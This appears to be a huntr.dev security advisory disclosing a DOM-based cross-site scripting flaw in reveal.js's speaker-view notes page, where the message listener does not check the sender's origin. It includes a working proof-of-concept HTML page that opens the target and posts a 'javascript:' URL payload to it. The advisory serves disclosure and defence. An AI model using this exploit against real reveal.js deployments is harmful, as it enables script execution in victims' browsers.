Cross-site Scripting (XSS) - DOM in hakimel/reveal.js

2022-02-0421:53:13

r0hansh

www.huntr.dev

0.001 Low

EPSS

Percentile

41.7%

JSON

Description

The onmessage event listener in /plugin/notes/speaker-view.html does not check the origin of postMessage before adding the content to the webpage. The vulnerable code allows any origin to postMessage on the browser window and feeds attacker’s input to parts using which attacker can execute arbitrary javascript code on victim’s browser window hosting reveal.js

Video PoC: https://drive.google.com/file/d/1HVlEnmLJTjHJ5VGgz8CBdEXB7FXtomkv/view

Proof of Concept

STEP 1: Run npm start

STEP 2: Attacker hosts the following code on his website.

NOTE: Please change TARGET in the code

&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
	&lt;meta charset="utf-8"&gt;
	&lt;title&gt;Exploit reveal.js XSS&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;script type="text/javascript"&gt;
	
	var TARGET = "http://localhost:8000/plugin/notes/speaker-view.html";

	window.poc = window.open(TARGET);

	var PAYLOAD = `{"namespace":"reveal-notes", "type": "connect", "url":"javascript:alert(document.domain)//", "state": {"indexh": "31337", "indexv": "31337"}}`;

	setTimeout(function () {window.poc.postMessage(PAYLOAD,'*')},3000);

&lt;/script&gt;


&lt;/body&gt;
&lt;/html&gt;